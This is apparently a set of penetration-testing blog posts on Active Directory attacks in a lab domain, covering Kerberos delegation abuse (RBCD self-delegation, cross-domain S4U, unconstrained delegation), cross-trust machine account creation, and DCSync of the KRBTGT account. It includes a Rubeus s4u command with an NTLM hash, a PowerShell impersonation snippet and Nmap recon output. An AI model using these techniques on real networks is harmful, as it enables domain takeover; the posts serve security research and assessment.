As discussed here members of protected groups have their AdminCount attribute set to 1 by the SD Propagator (SDProp). At the same time the security descriptor (SD) from AdminSDHolder gets applied, which is basically a hardened SD for protected objects. The problem here is that when the object is removed from having protected status, the AdminCount attribute value as well as the hardened SD remains.

It is often required to escalate accounts during assessments to perform certain attack paths, but it is always best to leave the client infrastructure in as similar state as before the assessment. So a method of viewing and restoring object SD's was required.

Enter Get-DomainObjectSD and Set-DomainObjectSD.

Get-DomainObjectSD

Get-DomainObjectSD can be used to retrieve an object's SD. By default it will output a custom PS object with 2 members (ObjectSID and ObjectSDDL).

  1. ObjectSID is the objects security idenfitier (i.e S-1-5-21-2042794111-3163024120-2630140754-1113).
  2. ObjectSDDL is the security descriptor of the object in SDDL string format.

There is also an -OutFile parameter that can be used to output the SD's and SID's to a file:

The -OutFile argument appends when the file exists so different SD's can be added dynamically:

It is also possible to retrieve several SD's at the same time, by piping the identities into Get-DomainObjectSD, like with other PowerView functions:

A -Check parameter exists which allows the current SD to be compared to a supplied one. If it's the same just a warning will be thrown but if the SD is different, a warning will be thrown and the object will be returned:

The -Check parameter also takes a file containing multiple account SD's to be checked:

Escalating A User

So after adding the testsd user to the Domain Admins group, the AdminCount attribute was set as expected:

After a while and retreiving the SD using Get-DomainObjectSD function and diffing the 2 SD's shows that they are significantly different:

Removing testsd from the Domain Admins group, leaves the AdminCount set to 1, as shown below:

The AdminCount attribute can easily be cleared using Set-DomainObject's -Clear parameter:

Set-DomainObjectSD

This is where Set-DomainObjectSD comes in. Set-DomainObjectSD can only be used from an account that has owner privileges on the object, this is partly why the -Owner switch was added to Get-DomainUser.

There are 2 ways to set object SD's with Set-DomainObjectSD, firstly using an input file with the -InputFile parameter, this takes a csv file in the same format created by Get-DomainObjectSD:

This will apply all SD's contained within the provided file. The other way is to specify the object identity and the SDDL string manually with -SDDLString:

If multiple identities are specified here, the same SD will be applied to them, unlike if an input file is provided.

Some Other Useful Features

I have added 2 other useful functions, Find-HighValueAccounts and Get-DomainDCSync.

Find-HighValueAccounts

As mentioned above, the AdminCount attribute remains even after the user has been removed from the protected group. I wanted a way to find all current members of these groups. For this I created Find-HighValueAccounts, by default it returned the full user and computer objects (I've selected just the samaccountname so it can be displayed better):

It gets group membership recursively. You can specify which type of object to return with the -Users and -Computers switches. It also supports -SPN for returning accounts with service principal names, -Enabled and -Disabled, -AllowDelegation and -DisallowDelegation; and -PassNotExpire to search for accounts that are configured to not require a regular password reset.

Get-DomainDCSync

Another useful function I created is Get-DomainDCSync which gets the ACL from the domain head, and determines which result in the ability to perform a DCSync. This is primarily 2 different types of ACE's, GenericAll or both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. This function again returns the full object and by default returns user and computer objects:

This function also gets group membership recursively and also provides the ability to filter by object type, with -Users and -Computers but this time also includes the ability to filter by groups too with -Groups.

Get-DomainUser

I've also added a few features to some standard PowerView functions, including Get-DomainUser.

Along with the already mentioned -Owner switch, I added -Enabled, -Disabled -PassNotExpire switches which are pretty self-explainatory. A -Unconstrained switch which filters user accounts that are configured for unconstrained delegation. A -RBCD switch which returns user accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. A -PassLastSet parameter which will only return user accounts that have not changed their password for at least a number of days:

I've also added the -Locked and -Unlocked switches. These take into account the domain lockout duration policy into account. So if a user account has been locked 31 minutes ago but the lockout duration policy is set to 30, the account will be returned as unlocked.

Get-DomainComputer

For Get-DomainComputer I've added 2 switches, -RBCD and -ExcludeDCs. The -RBCD switch which returns computer accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. -ExcludeDCs allows you to filter out domain controllers from the results, useful for searching for computer accounts configured for unconstrained delegation:

Conclusion

I do plan on making more additions to PowerView but hopefully these will be useful on assessments.

Until then you can grab my fork of PowerView here.

Revisiting 'Delegate 2 Thyself'

By: 0xe7
18 August 2020 at 18:18

So while still trying to ingest the great blog post by Elad Shamir Wagging the Dog, I discovered a section called Solving a Sensitive Problem which improves on the method I used in my Delegate 2 Thyself post. This post is about that improvement and an abuse case using it.

I highly recommend reading both of those posts before reading this if you haven't done already.

The Improvement

An S4U2Self service ticket can be retrieved by any machine account, without any prior configuration.

As shown below, this machine account for EIIS1 is not configured for any type of delegation:

Also, the external.admin user is marked as Account is sensitive and cannot be delegated:

Elad says that it is still possible to impersonate as that user on the requesting system (EIIS1), all that's required are the machine account credentials or TGT.

Automating the Process

In the Wagging the Dog post, Elad was using an ASN.1 editor to modify the S4U2Self ticket obtained using Rubeus. I decided to modify Rubeus so that this process was fully automated.

All this modification does is add's a /self flag to Rubeus's s4u command, when that's used and the /altservice flag is also used, the value to /altservice (in the format of the full SPN, eg. host/computer.domain.com) is subsituted into the sname field in the returned S4U2Self ticket.

Trying It Out

In the previous post I started with code execution to the IIS server EIIS1, which is the same position here:

We already know that this user can use the tgtdeleg trick to get a usable TGT:

Now it's important to understand the rest I perform from a separate non domain-joined system. I tend to see a lot of questions about performing attacks from systems that aren't domain-joined but due to the nature of most of my work, I almost always perform the attacks from my own, non domain-joined system, so I do in my blog posts too.

So next I perform the S4U2Self using the TGT we just recieved from a different system:

As you can see here, I've requested the S4U2Self ticket then rewrote the sname to http/eiis1.external.zeroday.lab as the user that cannot de delegated external.admin, the resulting ticket can be seen in the following klist output:

This ticket can then be used to execute commands over PowerShell remoting:

Conclusion

Obviously, the only way you can take advantage of this is if you can get access to the credentials or TGT of the target system.

But it can still be used for privilege escalation and, in the case of gaining access to a system configured for unconstrained delegation, remote code exectution (because you will be able to gather usable TGT's for remote systems).

The advantages of this over the full S4U2Proxy approach is that no configuration changes are required and you are able to impersonate protected users.

The advantages of this over a traditional silver ticket is that the resulting ticket contains a valid PAC.

A Strange Case of Trusts, Machine Accounts and DNS

By: 0xe7
1 May 2020 at 11:28

While playing about with my Active directory (AD) lab infrastructure, I discovered I was able to create machine accounts across domain trusts. This led to the following bit of research.

There's been a lot of research into the impact of users creating machine accounts, including by Kevin Robertson's here and by Elad Shamir here but not much discussed about doing this across a domain trust.

The Setup

The lab I'm using for this blog post is setup as follows:

So here there are 3 forests and 4 domains (1 child domain). For the sake of simplicity this is a completely flat network, so all machines can access all other machines.

We have access to a low privileged user in the other.zeroday.lab domain.

This domain has a bidirectional external trust with the child domain child1.internal.zeroday.lab:

The child1.internal.zeroday.lab domain has an addition trust with it's parent domain internal.zeroday.lab:

Limitations Of The Current Position

It is not possible to authenticate against the internal.zeroday.lab domain using the current user:

And therefore, it is not possible to perform any real enumeration against that domain.

Also, it is not possible to create DNS records in the child1.internal.zeroday.lab domain:

Enter Machine Accounts

So while trying some things on this lab I attempted to create a machine account in child1.internal.zeroday.lab using the other.user user from other.zeroday.lab, and it worked:

The reason I tried this initially was because I wanted to create a DNS record in the trusted domain, which is now possible using this newly created machine account:

This shows that I now have more privileges on the trusted domain than I did otherwise.

But the implications were bigger, I can now use this machine account to query other trusted domains. So I can now enumerate trusts for the trusted domain internal.zeroday.lab:

And as a result, it's also possible to perform attacks such as kerberoasting against those trusted domains:

As well as triggering the printer bug discovered by Lee Christensen.

So we now clearly have much greater privileges across the enterprise than we did with only the user account we started out with.

Limitations Of Machine Accounts

While the machine accounts can create other machine account within the same domain (as I mentioned in my delegate to thyself post, a machine account is not able to create machine accounts across a trust:

This means we cannot use this machine account to pivot across the whole enterprise and gain access to the external.zeroday.lab domain without compromising another user account.

Conclusion

For me at least, this makes clear that the machine account quota configuration is more important than previously thought. By leaving this configuration at anything but 0, you allow for attackers on any domains that you have trust relationships with, to perform attacks against all other domains you have trust relationships with. Clearly it's not a huge impact if your domain only has 1 trust, then the main impact I can see is the ability for an attacker on the other domain to create DNS records within your domain.

More research is definitely needed in this area, I can't help but feel that this opens up new attacks that I'm not currently seeing.

Crossing Trusts 4 Delegation

By: 0xe7
4 April 2020 at 22:34

The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.

I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.

Motivation

I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:

β€œTo re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.”

This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.

Luckily Will Schroeder published how to simulate real delegation traffic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\PRIMARY.TESTLAB.LOCAL\C$

# undo the impersonation context
$Context.Undo()

This allowed me to figure out how it works and implement it into Rubeus.

Recap

To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.

I created a visual representation as the ones I've seen previously weren't the easiest to understand:

In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.

Some Theory

After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:

Clearly there's a lot more going on here, so let me try to explain.

  1. The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)

  2. A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)

    • The users real TGT is required for this request.
    • This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.

    Here's where things start to get a little complicated. And the S4U2Self starts.

  3. A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)

    • This requires the cross domain TGT.
    • This is the first step in the cross domain S4U2Self process.
  4. A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)

    • This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
    • This is the final step in the cross domain S4U2Self process.

    And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.

  5. A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)

    • This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
    • This is the first step in the cross domain S4U2Proxy process.
  6. A service ticket for the target service is requested from the foreign domain controller. (11 and 12)

    • This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
    • This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.

I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.

The implementation primarily involves the CrossDomainS4U(), CrossDomainKRBTGT(), CrossDomainS4U2Self() and CrossDomainS4U2Proxy() functions, along with the addition of 2 new command line switches, /targetdomain and /targetdc, and some other little modifications.

Basically when /targetdomain and /targetdc are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.

What's The Point?

Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.

Consider the following infrastructure setup:

There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).

We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:

As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.

What is important here is that the machine account quota for internal.zeroday.lab is 0:

This means that the standard method of creating a new machine account using the relayed credentials will not work:

The machine account quota for child1.internal.zeroday.lab is still the default 10 though:

So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:

As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:

For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:

Now the --sid switch can be used to specify the SID of the machine account to delegate access to:

The configuration can be verified using Get-ADComputer:

Impersonation

So now everything is in place to perform the S4U and impersonate users to access ISQL1.

The NTLM hash of the newly created machine account is the ast thing that is required:

The following command can be used to perform the full attack and inject the service ticket for immediate use:

1
.\Rubeus.exe s4u /user:TestChildSPN$ /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:IC1DC1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:IDC1.internal.zeroday.lab /msdsspn:http/ISQL1.internal.zeroday.lab /ptt

This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.

Now let's look at this in a bit more detail.

As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):

This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):

This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.

It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):

To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:

To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:

Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:

Now that the final service ticket has been imported it's possible to get code execution on the target server:

Conclusion

While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.

With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.

The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.

Acknowledgements

A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.

I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!

Delegate 2 Thyself

By: 0xe7
17 March 2020 at 20:25

This post is also avaliable in PDF format here.

So a situation arose on the BloodHound Slack channel recently which is very similar to the one I'm going to describe in this post and the user could have benefited from this so I've decided to speed up my writing of this particular post. It's going to involve using resource-based constrained delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explaination of the RBCD theory and attack vectors, the best I've read Wagging the Dog by Elad Shamir but also this and this by Will Schroeder, and even the Microsoft Kerberos documentation if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here I'll simply be explaining an attack that, while very similar to some being spoken about, I've not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I'll try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user access a web server and that web server is using a database server in the background, the web server is able to impersonate the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the msDS-AllowedToActOnBehalfOfOtherIdentity Active Directory attribute of the target machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on AccountB for AccountA.

Confusion 1 - Service Accounts

So as Elad mentions in his post that SYSTEM, NT AUTHORITY\NETWORK SERVICE and Microsoft Virtual Accounts all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are IIS and MSSQL but I'm sure there are many more.

This can be verified very easily:

This authenticates against 192.168.71.198 where I have impacket's smbserver.py script listening:

In any situation where the machine is domain-joined and you can run code as NT AUTHORITY\NETWORK SERVICE or a Microsoft Virtual Account, you can use RBCD for local privilege escalation, provided that Active directory hasn't been hardered to mitigate the RBCD attacks completely (which is very rarely the case).

The Situation

So here I'm going to perform the attack from a domain-joined (external.zeroday.lab) IIS server (EIIS1) where code execution has already been achieved. As we already know, this account will authenticate on the domain as the machine account:

Firstly, load the the ADModule from Nikhil Mittal and Will Schroeder's PowerView to be used throughout this post:

The last thing to note is a domain admin (and the user we're going to impersonate) is external.admin:

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with an service principal name (SPN), the common method is to create a new machine account as by default the machine account quota is 10:

I've seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using Kevin Robertson's Powermad:

Now querying the domain controller, the newly created machine account can be seen:

The Crazy Bit

For this post though, I want to show that even if the machine account quota is 0, and access to another account with an SPN hasn't been achieved, it's still possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to 0:

Now it is not possible to create a new machine account:

So here's the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, I (the machine account) want to tell the domain controller that I (the machine account) wants the ability to delegate access to myself (the machine account). I'm not sure why this would ever be required in a normal setup, but it in fact is possible.

So using the shell that I've already imported the ADModule, I can set the msDS-AllowedToActOnBehalfOfOtherIdentity:

This is all that is required to configure RBCD. To demonstrate that it has infact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule doesn't work):

So now I have the ability to impersonate any domain user on the machine, that isn't in the Protected Users group or marked as Sensitive and cannot be delegated.

Abusing This Configuration

There's one more piece of the puzzle before we can actually perform the attack. We need to be able to pass Rubeus credentials for the machine account. This can be in the form of a username and password, or a TGT ticket.

Luckily Benjamin Delpy figured out how to do this, it's now called the tgtdeleg trick and it's also been implemented in Rubeus.

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

That TGT can be used with the s4u Rubeus command to request a service ticket to HTTP/EIIS1.external.zeroday.lab (myself) as the user external.admin and injected into the current context:

Now when we use Invoke-Command to EIIS1.external.zeroday.lab, it runs as external.admin:

Cleanup

When on an assessment, it's always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to it's original state using the machine account again, if domain admin privileges hasn't been achieved.

If the configuration was originally empty, this can be done in the following way:

And to verify that this worked:

Conclusion

Delegation is hard and often configured wrong so it's important to understand the scope of what is possible using these Kerberos features.

Active Directory in it's default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his post, there's nothing really new here apart from the idea of delegating to the same account.

Abusing Users Configured with Unconstrained Delegation

By: 0xe7
15 March 2020 at 20:25

An interesting situation came up on a recent assessment which triggered me into do a bit of research in the area as I'd seen nothing published on this particular issue.

I'd been really interested in the research done on the area of Kerberos Delegation. For this post, I'll be discussing Unconstrained Delegation, which has been covered a great deal in other places, notably here by Sean Metcalf and here by Dirk-jan Mollema, amongst others. If you really want to understand what is going on here, it might be best to read their work and understand it before continuing, although I'll try to give a recap here.

Unconstrained Delegation 101

In a nutshell, unconstrained delegation is when a user or computer has been granted the ability to impersonate users in an Active Directory domain with the only restriction of those contained within the Protected Users group or marked Sensitive and cannot be delegated.

What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user has already authenticated and wants to access a service that's been configured for unconstrained delegation:

  1. The user presents it's TGT to th DC when requesting a service ticket.

  2. The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, the TGT is valid. The data in the TGT is effectively copied to create the service ticket. The DC places a copy of the user’s TGT into the service ticket.

  3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

  4. The user connects to the server hosting the service on the appropriate port & presents the service ticket (AP-REQ). The service opens the service ticket using its NTLM password hash.

The diagram below (also taken from Sean's post) shows the full process:

The Situation

While abusing unconstrained delegation has been covered in detail many times, all of these posts address machine accounts, I've not yet seen anything related to abusing users configured for unconstrained delegation.

The setup for the demo is simple. A domain internal.zeroday.lab, with a domain controller IDC1 and a user TestUCSPN which has been configured for unconstrained delegation, as can be seen below:

As shown, the TrustedForDelegation attribute is set to True and the ServicePrincipalName is set to cifs/notexist.internal.zeroday.lab. The cifs service is being used here purly for convinence in demonstrating the issue.

The DNS record for notexist.internal.zeroday.lab does not exist:

This is all that is required to exploit it because the password for the machine account is not needed, but in this example the machine account also doesn't exist:

This allows me to demonstrate that it is still exploitable, by creating the machine account, using Kevin Robertson's Powermad:

Abuse

While it doesn't matter if the machine account is created in Active Directory, the DNS record needs to not exist for this attack to work (or it needs to point to a machine under your control).

If the DNS record doesn't exist, like in this example, it's easy to create one using any valid domain user account. Here I'm using Dirk-jan Mollema's krbrelayx:

Here 192.168.71.198 is the IP address of a Linux system under my control.

Sometimes it takes a little while for the name to resolve so it's good to check before continuing:

Now everything is in place to abuse this configuration. First, we need the hash of the service account's password (TestUCSPN in this case). For this Benjamin Delpy's tool mimikatz does the job nicely:

To retrieve the target's TGT ticket, we'll again use Dirk-jan Mollema's krbrelayx:

And from the same repository the printerbug.py script to trigger the authentication from the domain controller (192.168.71.20) to the target SPN host (notexist.internal.zeroday.lab):

This coerces the domain controller to authentication to the CIFS service on host noexist.internal.zeroday.lab where the krbrelayx.py script is listening. The krbrelatx.py script saves the ticket in ccache format:

This saved the ticket in the current working directory with the name [email protected][email protected].

For some reason, converting it to kirbi format using krbrelayx.py was failing with the error below:

Of course, you could using the ccache format with impacket but I decided to use Will Schroeder's Rubeus so I needed the ticket in kirbi format.

To convert the ticket I used Zer1t0's ticket_converter and then base64 encoded it:

This is now usable by Rubeus.

First, to demonstrate the a DCSync is not possible from the current context, mimikatz was used:

Lastly, Rubeus is used to inject the ticket into the current context and then mimikatz is able to perform a DCSync of the KRBTGT account from the domain controller:

Conclusion

One of the interesting things I find about attacks like this is here I used the TGT for the domain controller IDC1 to perform a DCSync from the same domain controller IDC1. I'm not sure why this is possible as I can see no reason why a domain controller would need to synchronize with itself, but it works...

This post is, as far as I've seen, the first explaination of how to take advantage of unconstrained delegation without requiring to compromise any machines and while it's most likely an uncommon situation, I have seen this in the wild recently.

Kerberos delegation is a really interesting point of research and I'm sure there will be plenty more research coming out in the future so it's well worth getting up to date with the current research out there.

Active Directory Reconnaissence - Part 1

By: 0xe7
12 February 2020 at 20:19

So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.

For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.

AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.

In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.

Lab Configuration

The lab configuration is simple, as shown below:

The main thing here is that the IP address of the domain controller is 192.168.73.20.

Basic Scanning

The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.

A basic port scan using Nmap of the top 1000 TCP ports is shown:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV option:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds

This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.

Some Basic Enumeration

LDAP Enumeration

As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.

The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20200212235943.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
|       defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
